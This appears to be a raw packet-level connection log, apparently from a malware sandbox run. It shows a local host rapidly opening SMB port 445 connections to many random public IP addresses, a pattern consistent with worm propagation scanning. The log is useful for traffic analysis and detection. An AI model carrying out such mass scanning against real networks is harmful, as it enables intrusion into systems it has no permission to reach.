Jul 20, 2022 19:32:23.749850035 CEST	53519	445	192.168.2.7	58.91.122.67
Jul 20, 2022 19:32:23.750634909 CEST	53520	445	192.168.2.7	45.189.87.236
Jul 20, 2022 19:32:23.751377106 CEST	53521	445	192.168.2.7	92.87.199.190
Jul 20, 2022 19:32:23.752120972 CEST	53522	445	192.168.2.7	9.120.222.179
Jul 20, 2022 19:32:23.753160954 CEST	53523	445	192.168.2.7	7.196.68.32
Jul 20, 2022 19:32:24.167810917 CEST	53525	445	192.168.2.7	213.142.151.68
Jul 20, 2022 19:32:24.464032888 CEST	53526	445	192.168.2.7	131.153.221.30
Jul 20, 2022 19:32:24.464600086 CEST	53527	445	192.168.2.7	51.158.189.39
Jul 20, 2022 19:32:24.475591898 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.475641966 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.475730896 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.476572990 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.476597071 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.567331076 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.567425966 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.570568085 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.570590019 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.570976973 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.578278065 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.578334093 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.578347921 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.578528881 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.620511055 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.620928049 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.621026993 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.621119022 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.621567965 CEST	53528	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:32:24.621594906 CEST	443	53528	20.199.120.85	192.168.2.7
Jul 20, 2022 19:32:24.637108088 CEST	53529	445	192.168.2.7	34.17.74.17
Jul 20, 2022 19:32:24.637806892 CEST	53530	445	192.168.2.7	153.176.16.171
Jul 20, 2022 19:32:24.668524981 CEST	53534	445	192.168.2.7	114.8.61.169
Jul 20, 2022 19:32:24.669472933 CEST	53535	445	192.168.2.7	222.48.9.17
Jul 20, 2022 19:32:24.670455933 CEST	53536	445	192.168.2.7	54.3.141.242
Jul 20, 2022 19:32:24.684318066 CEST	53541	445	192.168.2.7	108.147.84.224
Jul 20, 2022 19:32:24.691437006 CEST	53542	445	192.168.2.7	77.209.42.134
Jul 20, 2022 19:32:24.691454887 CEST	53543	445	192.168.2.7	43.100.16.25
Jul 20, 2022 19:32:24.691581964 CEST	53544	445	192.168.2.7	120.94.137.150
Jul 20, 2022 19:32:24.691729069 CEST	53545	445	192.168.2.7	156.22.127.173
Jul 20, 2022 19:32:24.691771984 CEST	53547	445	192.168.2.7	95.15.236.111
Jul 20, 2022 19:32:24.691812038 CEST	53548	445	192.168.2.7	130.99.17.78
Jul 20, 2022 19:32:24.691963911 CEST	53551	445	192.168.2.7	131.236.219.79
Jul 20, 2022 19:32:24.692106009 CEST	53552	445	192.168.2.7	193.23.71.45
Jul 20, 2022 19:32:24.692107916 CEST	53554	445	192.168.2.7	91.241.109.102
Jul 20, 2022 19:32:24.854541063 CEST	53564	445	192.168.2.7	90.79.115.85
Jul 20, 2022 19:32:24.869054079 CEST	53567	445	192.168.2.7	114.195.31.66
Jul 20, 2022 19:32:24.869087934 CEST	53568	445	192.168.2.7	24.90.248.127
Jul 20, 2022 19:32:24.869214058 CEST	53569	445	192.168.2.7	133.235.177.210
Jul 20, 2022 19:32:24.869326115 CEST	53572	445	192.168.2.7	113.108.42.220
Jul 20, 2022 19:32:24.869484901 CEST	53573	445	192.168.2.7	16.68.142.47
Jul 20, 2022 19:32:24.869543076 CEST	53574	445	192.168.2.7	143.43.79.0
Jul 20, 2022 19:32:24.886148930 CEST	53579	445	192.168.2.7	23.113.217.170
Jul 20, 2022 19:32:24.894455910 CEST	53583	445	192.168.2.7	77.105.184.178
Jul 20, 2022 19:32:24.894484043 CEST	53584	445	192.168.2.7	211.217.0.89
Jul 20, 2022 19:32:24.894612074 CEST	53585	445	192.168.2.7	148.53.56.234
Jul 20, 2022 19:32:24.894625902 CEST	53586	445	192.168.2.7	18.123.109.172
Jul 20, 2022 19:32:24.894701958 CEST	53587	445	192.168.2.7	86.200.78.138
Jul 20, 2022 19:32:24.894788027 CEST	53588	445	192.168.2.7	74.128.8.219
Jul 20, 2022 19:32:25.245434999 CEST	53590	445	192.168.2.7	213.142.151.69
Jul 20, 2022 19:32:25.542568922 CEST	53591	445	192.168.2.7	51.158.189.40
Jul 20, 2022 19:32:25.543443918 CEST	53592	445	192.168.2.7	131.153.221.31
Jul 20, 2022 19:32:25.746293068 CEST	53595	445	192.168.2.7	112.78.249.123
Jul 20, 2022 19:32:25.746562004 CEST	53594	445	192.168.2.7	214.247.3.38
Jul 20, 2022 19:32:25.779103041 CEST	53599	445	192.168.2.7	66.252.241.54
Jul 20, 2022 19:32:25.779809952 CEST	53600	445	192.168.2.7	50.254.43.74
Jul 20, 2022 19:32:25.780534029 CEST	53601	445	192.168.2.7	141.168.62.29
Jul 20, 2022 19:32:25.811872959 CEST	53605	445	192.168.2.7	151.253.226.44
Jul 20, 2022 19:32:25.812803984 CEST	53606	445	192.168.2.7	176.95.81.129
Jul 20, 2022 19:32:25.813700914 CEST	53607	445	192.168.2.7	190.239.127.187
Jul 20, 2022 19:32:25.817704916 CEST	53612	445	192.168.2.7	36.155.215.232
Jul 20, 2022 19:32:25.818999052 CEST	53614	445	192.168.2.7	209.153.192.37
Jul 20, 2022 19:32:25.820242882 CEST	53616	445	192.168.2.7	167.59.180.225
Jul 20, 2022 19:32:25.821891069 CEST	53619	445	192.168.2.7	188.27.16.125
Jul 20, 2022 19:32:25.833604097 CEST	53620	445	192.168.2.7	23.230.213.34
Jul 20, 2022 19:32:25.834260941 CEST	53621	445	192.168.2.7	90.225.221.134
Jul 20, 2022 19:32:25.835303068 CEST	53622	445	192.168.2.7	30.217.250.59
Jul 20, 2022 19:32:25.979934931 CEST	53629	445	192.168.2.7	57.77.140.72
Jul 20, 2022 19:32:26.002682924 CEST	53630	445	192.168.2.7	165.4.155.249
Jul 20, 2022 19:32:26.006026030 CEST	53632	445	192.168.2.7	161.149.130.28
Jul 20, 2022 19:32:26.006051064 CEST	53631	445	192.168.2.7	146.6.206.139
Jul 20, 2022 19:32:26.006177902 CEST	53634	445	192.168.2.7	34.146.67.73
Jul 20, 2022 19:32:26.006186008 CEST	53633	445	192.168.2.7	31.219.38.204
Jul 20, 2022 19:32:26.006258965 CEST	53635	445	192.168.2.7	161.207.132.213
Jul 20, 2022 19:32:26.006457090 CEST	53640	445	192.168.2.7	144.159.10.133
Jul 20, 2022 19:32:26.006510973 CEST	53642	445	192.168.2.7	63.47.163.66
Jul 20, 2022 19:32:26.006562948 CEST	53643	445	192.168.2.7	168.151.108.192
Jul 20, 2022 19:32:26.006613016 CEST	53644	445	192.168.2.7	141.48.96.135
Jul 20, 2022 19:32:26.006726027 CEST	53647	445	192.168.2.7	217.7.132.34
Jul 20, 2022 19:32:26.006817102 CEST	53649	445	192.168.2.7	75.106.180.194
Jul 20, 2022 19:32:26.006829023 CEST	53648	445	192.168.2.7	83.46.92.30
Jul 20, 2022 19:32:26.323925018 CEST	53655	445	192.168.2.7	213.142.151.70
Jul 20, 2022 19:32:26.688050032 CEST	53656	445	192.168.2.7	51.158.189.41
Jul 20, 2022 19:32:26.688102961 CEST	53657	445	192.168.2.7	131.153.221.32
Jul 20, 2022 19:32:26.872391939 CEST	53659	445	192.168.2.7	209.99.173.42
Jul 20, 2022 19:32:26.873264074 CEST	53660	445	192.168.2.7	155.246.178.100
Jul 20, 2022 19:32:26.910141945 CEST	53664	445	192.168.2.7	38.252.218.192
Jul 20, 2022 19:32:26.910959959 CEST	53665	445	192.168.2.7	163.125.248.3
Jul 20, 2022 19:32:26.911715984 CEST	53666	445	192.168.2.7	23.16.20.157
Jul 20, 2022 19:32:26.969270945 CEST	53670	445	192.168.2.7	50.204.53.32
Jul 20, 2022 19:32:26.969332933 CEST	53671	445	192.168.2.7	114.110.157.116
Jul 20, 2022 19:32:26.969465971 CEST	53672	445	192.168.2.7	222.125.136.180
Jul 20, 2022 19:32:26.970071077 CEST	53677	445	192.168.2.7	179.224.153.47
Jul 20, 2022 19:32:26.970108986 CEST	53679	445	192.168.2.7	199.20.153.254
Jul 20, 2022 19:32:26.970237017 CEST	53681	445	192.168.2.7	194.108.116.33
Jul 20, 2022 19:32:26.971132994 CEST	53687	445	192.168.2.7	64.199.18.237
Jul 20, 2022 19:32:26.971167088 CEST	53688	445	192.168.2.7	196.225.91.90
Jul 20, 2022 19:32:26.971317053 CEST	53689	445	192.168.2.7	201.130.187.218
Jul 20, 2022 19:32:26.971863031 CEST	53690	445	192.168.2.7	170.197.93.240
Jul 20, 2022 19:32:27.104901075 CEST	53694	445	192.168.2.7	191.72.58.247
Jul 20, 2022 19:32:27.130557060 CEST	53696	445	192.168.2.7	18.110.10.28
Jul 20, 2022 19:32:27.130608082 CEST	53700	445	192.168.2.7	168.94.29.136
Jul 20, 2022 19:32:27.130661964 CEST	53701	445	192.168.2.7	37.12.104.231
Jul 20, 2022 19:32:27.130831957 CEST	53704	445	192.168.2.7	121.124.15.238
Jul 20, 2022 19:32:27.130909920 CEST	53705	445	192.168.2.7	24.145.176.244
Jul 20, 2022 19:32:27.131032944 CEST	53706	445	192.168.2.7	135.134.171.17
Jul 20, 2022 19:32:27.131129026 CEST	53708	445	192.168.2.7	107.117.98.215
Jul 20, 2022 19:32:27.131329060 CEST	53712	445	192.168.2.7	90.114.4.82
Jul 20, 2022 19:32:27.131458044 CEST	53715	445	192.168.2.7	1.216.60.176
Jul 20, 2022 19:32:27.131464005 CEST	53714	445	192.168.2.7	165.155.96.213
Jul 20, 2022 19:32:27.131578922 CEST	53716	445	192.168.2.7	192.206.160.233
Jul 20, 2022 19:32:27.131722927 CEST	53717	445	192.168.2.7	177.224.172.37
Jul 20, 2022 19:32:27.131747961 CEST	53718	445	192.168.2.7	145.21.190.138
Jul 20, 2022 19:32:27.195879936 CEST	445	53701	37.12.104.231	192.168.2.7
Jul 20, 2022 19:32:27.402065039 CEST	53720	445	192.168.2.7	213.142.151.71
Jul 20, 2022 19:32:27.702125072 CEST	53722	445	192.168.2.7	51.158.189.42
Jul 20, 2022 19:32:27.702692032 CEST	53723	445	192.168.2.7	131.153.221.33
Jul 20, 2022 19:32:27.995712996 CEST	53725	445	192.168.2.7	88.116.77.218
Jul 20, 2022 19:32:27.996611118 CEST	53726	445	192.168.2.7	186.233.174.200
Jul 20, 2022 19:32:28.028347969 CEST	53730	445	192.168.2.7	15.161.213.70
Jul 20, 2022 19:32:28.028964996 CEST	53731	445	192.168.2.7	91.9.237.103
Jul 20, 2022 19:32:28.029515982 CEST	53732	445	192.168.2.7	101.28.156.155
Jul 20, 2022 19:32:28.097349882 CEST	53736	445	192.168.2.7	27.49.231.130
Jul 20, 2022 19:32:28.097398996 CEST	53738	445	192.168.2.7	75.162.187.52
Jul 20, 2022 19:32:28.097660065 CEST	53737	445	192.168.2.7	132.29.213.112
Jul 20, 2022 19:32:28.097661972 CEST	53742	445	192.168.2.7	58.53.57.119
Jul 20, 2022 19:32:28.097718000 CEST	53743	445	192.168.2.7	5.5.65.44
Jul 20, 2022 19:32:28.097894907 CEST	53747	445	192.168.2.7	190.122.222.215
Jul 20, 2022 19:32:28.098093033 CEST	53753	445	192.168.2.7	162.53.38.20
Jul 20, 2022 19:32:28.098166943 CEST	53754	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:32:28.098222017 CEST	53755	445	192.168.2.7	203.245.121.209
Jul 20, 2022 19:32:28.098433971 CEST	53756	445	192.168.2.7	104.69.202.66
Jul 20, 2022 19:32:28.114650965 CEST	445	53754	45.60.207.12	192.168.2.7
Jul 20, 2022 19:32:28.114865065 CEST	53754	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:32:28.115041971 CEST	53754	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:32:28.115770102 CEST	53757	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.131582022 CEST	445	53754	45.60.207.12	192.168.2.7
Jul 20, 2022 19:32:28.132344007 CEST	445	53757	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.132498026 CEST	53754	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:32:28.132574081 CEST	53757	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.132755041 CEST	53757	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.139477015 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.150326014 CEST	445	53757	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.152076960 CEST	53757	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.158258915 CEST	445	53758	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.158376932 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.158518076 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.177109003 CEST	445	53758	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.177155972 CEST	445	53758	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.177174091 CEST	445	53758	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.177297115 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.177395105 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.177659988 CEST	53758	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:28.197124958 CEST	445	53758	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:28.230623007 CEST	53762	445	192.168.2.7	8.99.232.228
Jul 20, 2022 19:32:28.246465921 CEST	53764	445	192.168.2.7	204.189.123.59
Jul 20, 2022 19:32:28.248234034 CEST	53767	445	192.168.2.7	70.224.30.244
Jul 20, 2022 19:32:28.285655975 CEST	53768	445	192.168.2.7	161.111.88.130
Jul 20, 2022 19:32:28.287054062 CEST	53770	445	192.168.2.7	213.186.207.130
Jul 20, 2022 19:32:28.287090063 CEST	53769	445	192.168.2.7	136.69.184.131
Jul 20, 2022 19:32:28.287353992 CEST	53776	445	192.168.2.7	167.46.198.61
Jul 20, 2022 19:32:28.287364960 CEST	53777	445	192.168.2.7	170.69.40.2
Jul 20, 2022 19:32:28.287508011 CEST	53778	445	192.168.2.7	49.52.168.120
Jul 20, 2022 19:32:28.287633896 CEST	53779	445	192.168.2.7	69.113.195.121
Jul 20, 2022 19:32:28.287640095 CEST	53780	445	192.168.2.7	142.118.148.227
Jul 20, 2022 19:32:28.287647009 CEST	53781	445	192.168.2.7	155.225.92.113
Jul 20, 2022 19:32:28.287823915 CEST	53785	445	192.168.2.7	128.195.235.70
Jul 20, 2022 19:32:28.287842035 CEST	53786	445	192.168.2.7	39.4.233.116
Jul 20, 2022 19:32:28.492366076 CEST	53788	445	192.168.2.7	213.142.151.72
Jul 20, 2022 19:32:28.777721882 CEST	53790	445	192.168.2.7	131.153.221.34
Jul 20, 2022 19:32:28.778464079 CEST	53791	445	192.168.2.7	51.158.189.43
Jul 20, 2022 19:32:29.121650934 CEST	53795	445	192.168.2.7	141.44.235.37
Jul 20, 2022 19:32:29.124097109 CEST	53794	445	192.168.2.7	34.131.188.193
Jul 20, 2022 19:32:29.153671026 CEST	53797	445	192.168.2.7	183.90.115.97
Jul 20, 2022 19:32:29.156873941 CEST	53798	445	192.168.2.7	161.226.250.15
Jul 20, 2022 19:32:29.157576084 CEST	53799	445	192.168.2.7	26.137.117.120
Jul 20, 2022 19:32:29.224464893 CEST	53805	445	192.168.2.7	130.108.182.75
Jul 20, 2022 19:32:29.224514008 CEST	53806	445	192.168.2.7	87.43.48.137
Jul 20, 2022 19:32:29.224785089 CEST	53811	445	192.168.2.7	155.236.150.130
Jul 20, 2022 19:32:29.224818945 CEST	53812	445	192.168.2.7	206.5.17.112
Jul 20, 2022 19:32:29.225001097 CEST	53815	445	192.168.2.7	78.195.24.158
Jul 20, 2022 19:32:29.225171089 CEST	53821	445	192.168.2.7	130.46.202.115
Jul 20, 2022 19:32:29.225202084 CEST	53822	445	192.168.2.7	108.68.197.239
Jul 20, 2022 19:32:29.225339890 CEST	53823	445	192.168.2.7	153.16.90.171
Jul 20, 2022 19:32:29.356055975 CEST	53827	445	192.168.2.7	78.253.237.247
Jul 20, 2022 19:32:29.371623993 CEST	53829	445	192.168.2.7	71.208.184.209
Jul 20, 2022 19:32:29.375538111 CEST	53832	445	192.168.2.7	217.91.38.2
Jul 20, 2022 19:32:29.418343067 CEST	53834	445	192.168.2.7	29.250.99.37
Jul 20, 2022 19:32:29.419220924 CEST	53835	445	192.168.2.7	95.136.129.130
Jul 20, 2022 19:32:29.420044899 CEST	53836	445	192.168.2.7	88.249.90.56
Jul 20, 2022 19:32:29.428445101 CEST	53842	445	192.168.2.7	200.180.116.119
Jul 20, 2022 19:32:29.428572893 CEST	53843	445	192.168.2.7	220.14.31.70
Jul 20, 2022 19:32:29.428680897 CEST	53845	445	192.168.2.7	42.248.28.28
Jul 20, 2022 19:32:29.428703070 CEST	53844	445	192.168.2.7	81.49.149.160
Jul 20, 2022 19:32:29.428858995 CEST	53846	445	192.168.2.7	116.97.179.233
Jul 20, 2022 19:32:29.429088116 CEST	53850	445	192.168.2.7	7.219.218.42
Jul 20, 2022 19:32:29.429092884 CEST	53847	445	192.168.2.7	211.153.218.118
Jul 20, 2022 19:32:29.429112911 CEST	53851	445	192.168.2.7	130.210.238.120
Jul 20, 2022 19:32:29.515156031 CEST	445	53829	71.208.184.209	192.168.2.7
Jul 20, 2022 19:32:29.543216944 CEST	53853	445	192.168.2.7	213.142.151.73
Jul 20, 2022 19:32:29.855910063 CEST	53855	445	192.168.2.7	131.153.221.35
Jul 20, 2022 19:32:29.856765032 CEST	53856	445	192.168.2.7	51.158.189.44
Jul 20, 2022 19:32:30.073034048 CEST	53829	445	192.168.2.7	71.208.184.209
Jul 20, 2022 19:32:30.216238022 CEST	445	53829	71.208.184.209	192.168.2.7
Jul 20, 2022 19:32:30.253897905 CEST	53860	445	192.168.2.7	170.120.106.62
Jul 20, 2022 19:32:30.254403114 CEST	53861	445	192.168.2.7	201.177.193.31
Jul 20, 2022 19:32:30.278333902 CEST	53862	445	192.168.2.7	145.175.242.149
Jul 20, 2022 19:32:30.279186010 CEST	53863	445	192.168.2.7	62.188.99.60
Jul 20, 2022 19:32:30.281981945 CEST	53864	445	192.168.2.7	87.53.214.49
Jul 20, 2022 19:32:30.341675997 CEST	53869	445	192.168.2.7	186.62.178.249
Jul 20, 2022 19:32:30.343825102 CEST	53871	445	192.168.2.7	174.166.39.17
Jul 20, 2022 19:32:30.365277052 CEST	53872	445	192.168.2.7	150.111.132.76
Jul 20, 2022 19:32:30.367363930 CEST	53875	445	192.168.2.7	9.158.94.233
Jul 20, 2022 19:32:30.367445946 CEST	53878	445	192.168.2.7	73.124.103.40
Jul 20, 2022 19:32:30.367475033 CEST	53879	445	192.168.2.7	116.188.232.157
Jul 20, 2022 19:32:30.367676020 CEST	53884	445	192.168.2.7	122.39.88.7
Jul 20, 2022 19:32:30.367772102 CEST	53888	445	192.168.2.7	180.11.222.195
Jul 20, 2022 19:32:30.367887020 CEST	53889	445	192.168.2.7	166.189.179.7
Jul 20, 2022 19:32:30.484222889 CEST	53893	445	192.168.2.7	151.48.65.125
Jul 20, 2022 19:32:30.500550985 CEST	53894	445	192.168.2.7	215.94.16.111
Jul 20, 2022 19:32:30.502088070 CEST	53897	445	192.168.2.7	81.227.239.199
Jul 20, 2022 19:32:30.545665026 CEST	53900	445	192.168.2.7	197.129.205.56
Jul 20, 2022 19:32:30.553925037 CEST	53901	445	192.168.2.7	41.37.38.69
Jul 20, 2022 19:32:30.554953098 CEST	53902	445	192.168.2.7	117.2.87.107
Jul 20, 2022 19:32:30.555274963 CEST	53908	445	192.168.2.7	152.54.60.229
Jul 20, 2022 19:32:30.555418015 CEST	53909	445	192.168.2.7	175.62.243.43
Jul 20, 2022 19:32:30.555546045 CEST	53910	445	192.168.2.7	38.193.181.121
Jul 20, 2022 19:32:30.555665970 CEST	53911	445	192.168.2.7	111.121.30.247
Jul 20, 2022 19:32:30.555780888 CEST	53912	445	192.168.2.7	137.135.120.174
Jul 20, 2022 19:32:30.555902958 CEST	53913	445	192.168.2.7	26.203.229.239
Jul 20, 2022 19:32:30.556061983 CEST	53916	445	192.168.2.7	132.244.232.207
Jul 20, 2022 19:32:30.556185007 CEST	53917	445	192.168.2.7	29.149.157.69
Jul 20, 2022 19:32:30.639635086 CEST	53919	445	192.168.2.7	213.142.151.74
Jul 20, 2022 19:32:30.940282106 CEST	53921	445	192.168.2.7	51.158.189.45
Jul 20, 2022 19:32:30.940370083 CEST	53922	445	192.168.2.7	131.153.221.36
Jul 20, 2022 19:32:31.183562040 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.201833963 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.201957941 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.204437017 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.222229958 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.222259045 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.222275019 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.222579956 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.222666979 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.222995996 CEST	53924	445	192.168.2.7	45.60.207.1
Jul 20, 2022 19:32:31.240890026 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.240912914 CEST	445	53924	45.60.207.1	192.168.2.7
Jul 20, 2022 19:32:31.285797119 CEST	53926	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.304188013 CEST	445	53926	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.304327965 CEST	53926	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.304413080 CEST	53926	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.309559107 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.321006060 CEST	445	53926	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.321120977 CEST	53926	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.326184988 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.326492071 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.326632977 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.343144894 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.343173027 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.343257904 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.343323946 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.346412897 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.346735001 CEST	53927	445	192.168.2.7	45.60.207.2
Jul 20, 2022 19:32:31.363042116 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.363145113 CEST	445	53927	45.60.207.2	192.168.2.7
Jul 20, 2022 19:32:31.372261047 CEST	53929	445	192.168.2.7	184.100.243.96
Jul 20, 2022 19:32:31.372304916 CEST	53930	445	192.168.2.7	132.11.172.244
Jul 20, 2022 19:32:31.403852940 CEST	53932	445	192.168.2.7	139.191.182.10
Jul 20, 2022 19:32:31.403911114 CEST	53931	445	192.168.2.7	49.230.245.199
Jul 20, 2022 19:32:31.404139042 CEST	53933	445	192.168.2.7	36.69.113.32
Jul 20, 2022 19:32:31.472924948 CEST	53938	445	192.168.2.7	114.199.65.179
Jul 20, 2022 19:32:31.473507881 CEST	53939	445	192.168.2.7	144.251.86.49
Jul 20, 2022 19:32:31.480297089 CEST	53941	445	192.168.2.7	190.44.12.193
Jul 20, 2022 19:32:31.481167078 CEST	53942	445	192.168.2.7	191.239.66.40
Jul 20, 2022 19:32:31.487772942 CEST	53943	445	192.168.2.7	40.149.86.248
Jul 20, 2022 19:32:31.487948895 CEST	53950	445	192.168.2.7	55.177.30.76
Jul 20, 2022 19:32:31.488010883 CEST	53952	445	192.168.2.7	51.203.219.2
Jul 20, 2022 19:32:31.488090992 CEST	53953	445	192.168.2.7	223.210.143.111
Jul 20, 2022 19:32:31.488289118 CEST	53957	445	192.168.2.7	40.86.153.77
Jul 20, 2022 19:32:31.610893011 CEST	53962	445	192.168.2.7	194.63.118.8
Jul 20, 2022 19:32:31.621700048 CEST	53964	445	192.168.2.7	33.163.23.25
Jul 20, 2022 19:32:31.623389006 CEST	53966	445	192.168.2.7	97.126.109.213
Jul 20, 2022 19:32:31.653594971 CEST	53969	445	192.168.2.7	187.49.110.141
Jul 20, 2022 19:32:31.654411077 CEST	53970	445	192.168.2.7	142.65.175.193
Jul 20, 2022 19:32:31.655683041 CEST	53971	445	192.168.2.7	98.108.180.32
Jul 20, 2022 19:32:31.659878016 CEST	53977	445	192.168.2.7	185.56.149.215
Jul 20, 2022 19:32:31.660645008 CEST	53978	445	192.168.2.7	184.58.205.183
Jul 20, 2022 19:32:31.672430038 CEST	53979	445	192.168.2.7	51.89.107.83
Jul 20, 2022 19:32:31.676996946 CEST	53980	445	192.168.2.7	23.215.166.63
Jul 20, 2022 19:32:31.677100897 CEST	53981	445	192.168.2.7	94.186.181.234
Jul 20, 2022 19:32:31.677196980 CEST	53982	445	192.168.2.7	217.208.54.128
Jul 20, 2022 19:32:31.677406073 CEST	53985	445	192.168.2.7	115.160.76.235
Jul 20, 2022 19:32:31.677506924 CEST	53986	445	192.168.2.7	107.33.251.110
Jul 20, 2022 19:32:31.714869976 CEST	53989	445	192.168.2.7	213.142.151.75
Jul 20, 2022 19:32:32.012319088 CEST	53991	445	192.168.2.7	51.158.189.46
Jul 20, 2022 19:32:32.012584925 CEST	53992	445	192.168.2.7	131.153.221.37
Jul 20, 2022 19:32:32.517064095 CEST	53996	445	192.168.2.7	97.76.39.34
Jul 20, 2022 19:32:32.517924070 CEST	53997	445	192.168.2.7	43.113.211.209
Jul 20, 2022 19:32:32.527245045 CEST	53998	445	192.168.2.7	186.87.6.244
Jul 20, 2022 19:32:32.528098106 CEST	53999	445	192.168.2.7	194.17.77.106
Jul 20, 2022 19:32:32.529652119 CEST	54002	445	192.168.2.7	64.85.10.70
Jul 20, 2022 19:32:32.589859962 CEST	54005	445	192.168.2.7	102.246.19.97
Jul 20, 2022 19:32:32.590655088 CEST	54006	445	192.168.2.7	142.9.131.164
Jul 20, 2022 19:32:32.592843056 CEST	54009	445	192.168.2.7	110.195.88.112
Jul 20, 2022 19:32:32.599766016 CEST	54015	445	192.168.2.7	175.62.118.13
Jul 20, 2022 19:32:32.600625038 CEST	54016	445	192.168.2.7	106.253.215.126
Jul 20, 2022 19:32:32.602591991 CEST	54018	445	192.168.2.7	205.77.142.239
Jul 20, 2022 19:32:32.606646061 CEST	54022	445	192.168.2.7	205.65.253.202
Jul 20, 2022 19:32:32.607652903 CEST	54024	445	192.168.2.7	55.161.164.124
Jul 20, 2022 19:32:32.608222961 CEST	54025	445	192.168.2.7	65.134.82.16
Jul 20, 2022 19:32:32.748425961 CEST	54029	445	192.168.2.7	38.254.88.141
Jul 20, 2022 19:32:32.748713970 CEST	54031	445	192.168.2.7	95.94.125.139
Jul 20, 2022 19:32:32.761868954 CEST	54034	445	192.168.2.7	87.65.99.205
Jul 20, 2022 19:32:32.778084040 CEST	54035	445	192.168.2.7	178.64.53.48
Jul 20, 2022 19:32:32.779159069 CEST	54036	445	192.168.2.7	155.218.54.80
Jul 20, 2022 19:32:32.783955097 CEST	54042	445	192.168.2.7	138.79.24.130
Jul 20, 2022 19:32:32.786066055 CEST	54043	445	192.168.2.7	115.48.10.168
Jul 20, 2022 19:32:32.786166906 CEST	54044	445	192.168.2.7	89.44.242.198
Jul 20, 2022 19:32:32.794377089 CEST	54047	445	192.168.2.7	139.153.108.189
Jul 20, 2022 19:32:32.795402050 CEST	54048	445	192.168.2.7	102.199.63.152
Jul 20, 2022 19:32:32.797152042 CEST	54051	445	192.168.2.7	146.241.141.211
Jul 20, 2022 19:32:32.797981977 CEST	54052	445	192.168.2.7	21.246.62.100
Jul 20, 2022 19:32:32.798890114 CEST	54053	445	192.168.2.7	88.54.46.209
Jul 20, 2022 19:32:32.799568892 CEST	54054	445	192.168.2.7	75.45.211.87
Jul 20, 2022 19:32:32.800497055 CEST	54055	445	192.168.2.7	213.142.151.76
